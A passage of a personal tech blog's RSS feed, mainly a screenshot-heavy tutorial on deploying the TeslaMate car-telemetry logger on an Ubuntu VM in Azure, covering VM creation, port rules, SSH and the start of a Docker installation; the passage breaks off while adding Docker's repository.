        &lt;img src=&#34;images/image-1.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Updating the registries.conf file&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And once you save, these trying podcam-compose up should work as expected.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-2.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;podman-compose up&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Developers mysterious life</title>
      <link>/post/2022/02/developers-mysterious-life/</link>
      <pubDate>Tue, 01 Feb 2022 00:00:00 +0000</pubDate>
      
      <guid>/post/2022/02/developers-mysterious-life/</guid>
      <description>&lt;p&gt;The mysterious life of developers has evaded many of us, until now &amp;hellip;&lt;/p&gt;
&lt;video class=&#34;video-shortcode&#34; preload=&#34;auto&#34; controls&gt;
    &lt;source src=&#34;https://desigeek.com/blog_files/2022/02-developers-mysterious-life/The-Mysterious-Life-of-Developers.webm&#34; type=&#34;video/webm&#34;&gt;
    There should have been a video here but your browser does not seem
    to support it.
&lt;/video&gt;

&lt;p&gt;The mysterious life of a developer (courtesy Spoon Norge)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How to run TeslaMate on Azure</title>
      <link>/post/2021/12/how-to-run-teslamate-on-azure/</link>
      <pubDate>Thu, 30 Dec 2021 00:00:00 +0000</pubDate>
      
      <guid>/post/2021/12/how-to-run-teslamate-on-azure/</guid>
      <description>&lt;p&gt;If you have a Tesla, then you should absolutely check out &lt;a
	
		href = &#34;https://github.com/adriankumpf/teslamate&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TeslaMate
	&lt;/span&gt;
&lt;/a&gt; which is data logger for your car(s) that one self-hosts. This uses the car&amp;rsquo;s API and gets all different kinds of telemetry of your drives, charging, batter conditions, acceleration, braking, parking, etc. I personally prefer this, over other online services (of which there are a few) - as it is giving away the keys to the kingdom - &lt;em&gt;literally&lt;/em&gt; in this case (the Tokens used to authenticate and login).&lt;/p&gt;
&lt;p&gt;I have been running TeslaMate at home on a couple of machines for a while and figured a cloud version would work out better. I had network issues on one of the machines, where no car telemetry was downloaded. It was a few days before I realized that the machine wasn&amp;rsquo;t online due to a separate DNS issue and those few days&amp;rsquo; worth of car telemetry (drives and other data of course) wasn&amp;rsquo;t recorded.&lt;/p&gt;
&lt;p&gt;In our example, we will deploy TeslaMate in a docker container running on Ubuntu - which is hosted on Azure. To help with isolation and managing this, I would recommend we use a resource group (RG) only for running TeslaMate. Of course, we need an Azure subscription, which I would assume you already have.&lt;/p&gt;
&lt;p&gt;If you are not familiar with TeslaMate, before we get started here, I would highly recommend &lt;a
	
		href = &#34;https://github.com/adriankumpf/teslamate&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		checking out the features
	&lt;/span&gt;
&lt;/a&gt;, including &lt;a
	
		href = &#34;https://docs.teslamate.org/docs/screenshots/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		some screenshots
	&lt;/span&gt;
&lt;/a&gt; and the &lt;a
	
		href = &#34;https://docs.teslamate.org/docs/installation/docker&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		installation documentation
	&lt;/span&gt;
&lt;/a&gt; to get an idea.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/web_interface.png&#34; alt=&#34;Web Interface&#34;/&gt;
        &lt;figcaption&gt;TeslaMate Overview&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
(Credit: &lt;a
	
		href = &#34;https://github.com/adriankumpf/teslamate&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TeslaMate GitHub repro
	&lt;/span&gt;
&lt;/a&gt;)&lt;/p&gt;
&lt;h3 id=&#34;step-1---creating-new-rg&#34;&gt;Step 1 - Creating new RG&lt;/h3&gt;
&lt;p&gt;We start by logging into the &lt;a
	
		href = &#34;https://portal.azure.com&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure portal
	&lt;/span&gt;
&lt;/a&gt; and create a new resource group (RG) for TeslaMate; if you are not sure how to do this, the &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-portal#:~:text=Create%20resource%20groups%201%20Sign%20in%20to%20the,newly%20created%20resource%20group%20to%20open%20it.%20&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		documentation here
	&lt;/span&gt;
&lt;/a&gt; outlines the steps needed. Once you have an empty RG, it would look something like the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1-New-RG-1024x587.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;New Azure Resource Group&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-2---creating-new-ubuntu-vm&#34;&gt;Step 2 - Creating new Ubuntu VM&lt;/h3&gt;
&lt;p&gt;Now that we have a new RG, we need to create a new Ubuntu virtual machine (VM) in that. We will choose the option to create resources as shown in the middle of the screen (see previous screenshot).&lt;/p&gt;
&lt;p&gt;Clicking on &amp;ldquo;Create resources&amp;rdquo;, we see various menu options; the options you see might be a little different than the one shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/2-New-Resource-1024x677.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Create a resource - Azure&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;We need to create a Virtual Machine - the first choice under &amp;ldquo;Popular Azure services&amp;rdquo; and will click the &amp;ldquo;Create&amp;rdquo; link. This starts a wizard that allows you to go through the various settings and options.&lt;/p&gt;
&lt;p&gt;The first step when creating a VM is to start with the basic details for machine we are creating - instance details, subscription details, admin user details, etc. I outline the steps and show screenshots to help those who are not comfortable with this level of tech, or new to Azure. If you are a more advanced user, a more efficient way would be via the &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/azure/virtual-machines/linux/quick-create-cli&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure CLI
	&lt;/span&gt;
&lt;/a&gt;. You can read up more details on &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/azure/virtual-machines/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		VM&amp;rsquo;s on Azure here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;step-3---vm-basics&#34;&gt;Step 3 - VM Basics&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Subscription and resource group - Make sure you have the correct subscription and RG selected. If you haven&amp;rsquo;t created a new RG yet, you can do so using the &amp;ldquo;Create new&amp;rdquo; link under the RG option (see the screenshot below).&lt;/li&gt;
&lt;li&gt;VM Name - You can give the VM any name - this is more for you to remember and manage.&lt;/li&gt;
&lt;li&gt;Region - In terms of a region, in most cases it would make sense to pick a region that is physically close to the same area where you are based (and the car too of course).&lt;/li&gt;
&lt;li&gt;Image - I use the latest Ubuntu LTS image which as of this writing is v20.04 Gen 2.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-Basics-1024x583.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Create a new VM in Azure&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Size - In terms of picking the size for the VM - we don&amp;rsquo;t need a very beefy machine, and needless to say - the bigger the machine, the higher the monthly costs. I keep the standard Size. This is not my main instance as I already have that running - this new instance is being setup as a demo that I will be deleting later.&lt;/li&gt;
&lt;li&gt;Username - This is obvious and should be something you know and can remember.&lt;/li&gt;
&lt;li&gt;Password - I choose password as the auth type, more so as this is for demo purposes for this post; ideally ssh keys are more secure and you would want to use that. If you do go down a password path, I cannot stress enough not to reuse passwords and create a strong password; it is always a good idea to use a password manager (e.g., I use LastPass).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-Basics-2-1024x926.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Basic details required when setting up a new VM&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I chose the simple SSD option; we don&amp;rsquo;t need a lot of advanced things.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-Basics-disks-1024x742.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Disk details when setting up a new VM&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;For the network options, you do want a public IP and, in most cases, just leaving the default would work. And I don&amp;rsquo;t show it in the screenshot, but we don&amp;rsquo;t need a load balancer and leave the default option of &amp;ldquo;None&amp;rdquo;. And we do want the ability to ssh into the machine to deploy and manage TeslaMate.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-Basics-network-1024x863.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Networking details when setting up a new VM&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;For the Inbound port rules, by default only port 22 is enabled for SSH; to allow us to access the web server we also need to both ports 80 (http) and 443 (https) are enabled as shown in the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-20-1024x387.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Inbound port rules - when setting up a new VM&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;For the next set of Tabs (Management, Advanced, and Tags) I didn&amp;rsquo;t change anything and went with the defaults. Once the validations are passed, and the final review shows the cost and other details you choose.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-Basics-Review1-1024x951.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM Creation - summary&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-Basics-Review2.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM Creation - summary&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-Basics-Review3.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM Creation - summary&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And once you are happy with everything click the &lt;strong&gt;Create&lt;/strong&gt; button on the bottom left corner.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-Basics-Review4-830x1024.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM Creation confirmation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Once the deployment of the VM starts, it can take a few minutes and you will see a similar progress as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-Deployment-1024x422.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM deployment status screen&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Once the VM is created, deployed and wired up (which can take a few minutes) - we will see the confirmation as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-Deployment-complete-1024x423.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM deployment confirmation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;From the confirmation screen, clicking on &amp;ldquo;Go to resource&amp;rdquo; takes us to a screen where we see the different details of the VM. One of the details we are interested in at this point is the IP address and the ability to give the machine a DNS name. We need these to be able to connect to the VM over SSH (see screenshot below).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-details-1024x554.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM essential details&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;It might be worthwhile to also setup a DNS name that one can use in addition to the IP. This DNS name would be the fully qualified domain name (FQDN) that would be needed later when configuring the docker container. The DNS name allows us to connect to the machine using something like &lt;code&gt;&amp;quot;https://my-car-details.cloudapp.azure.com&amp;quot;&lt;/code&gt;&amp;quot; (or similar). You can read more details on FQDN in the &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/azure/virtual-machines/create-fqdn&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure docs here
	&lt;/span&gt;
&lt;/a&gt;. If you are interested in using your own DNS server, you can read details on &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/azure/virtual-machines/linux/azure-dns#name-resolution-using-your-own-dns-server&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		how to go about that here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Click on the &amp;ldquo;Not Configured&amp;rdquo; for the DNS name (as shown in the image below) and you can set a unique name that is something memorable.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-DNS-Name-1-1024x327.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM DNS name&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The DNS name is tied to the region you have, and it must be unique.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-DNS-Name-2-1-1024x319.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM DNS name label creating&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And once this is setup, you can see the FQDN in your VM details as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-DNS-Name-3-1024x207.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM DNS name&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;If for some reason you didn&amp;rsquo;t open ports 80 and 443 earlier, you can always configure them now. To do so, in the Azure portal, when you have the Ubuntu VM resource selected, click on &lt;strong&gt;Networking&lt;/strong&gt; on the left, and you can update the Inbound port rules.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-network-1024x396.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM networking setting&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-21-719x1024.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM adding inbound network rules&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;When you add both ports (you would need to give them unique names and priority orders), and the final results would look something like the screenshot shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-22-1024x285.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;VM network inbound port rules&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And finally, we can &lt;code&gt;ssh&lt;/code&gt; into that machine using the credentials and the IP we configured earlier. This can be done using ssh (e.g. &lt;code&gt;ssh user-name@IP-address&lt;/code&gt; of the machine).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-VM-ssh-1000x1024.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;SSH Screen shot&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-4---install-docker&#34;&gt;Step 4 - Install Docker&lt;/h3&gt;
&lt;p&gt;The first thing we need to do once we ssh into the machine is to update the various packages installed. The first time you run this, it will take a few minutes. You do this by running the following commands.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# I prefer to run these separately - to get a handle on what is getting updated.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt upgrade
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# You can of course run them together if that is what you prefer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get update&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This is pretty standard and should not cause any issues; below is the screenshot showing the output - there are too many packages being updated for me to show everything.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/4-OS-Update-1024x749.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;OS Updating screenshot&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Installing docker on our Ubuntu VM isn&amp;rsquo;t terribly complex - the &lt;a
	
		href = &#34;https://docs.docker.com/engine/install/ubuntu/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		docker docs outline all the steps
	&lt;/span&gt;
&lt;/a&gt; and the details. We will want to install from the repro and follow the steps outlined and be mindful of specific versions and drivers.&lt;/p&gt;
&lt;p&gt;We setup the repository, and for that need to install the following prerequisites.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;    ca-certificates &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;    curl &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;    gnupg &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;    lsb-release&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In my case, with the latest Ubuntu image in Azure, we already had these:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Next we add docker&amp;rsquo;s GPG key using the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The output isn&amp;rsquo;t dramatic in case you were wondering.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-1-1024x75.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;GPG key addition&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Next we add docker&amp;rsquo;s repro to Ubuntu - this will allow us to find and install the packages.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
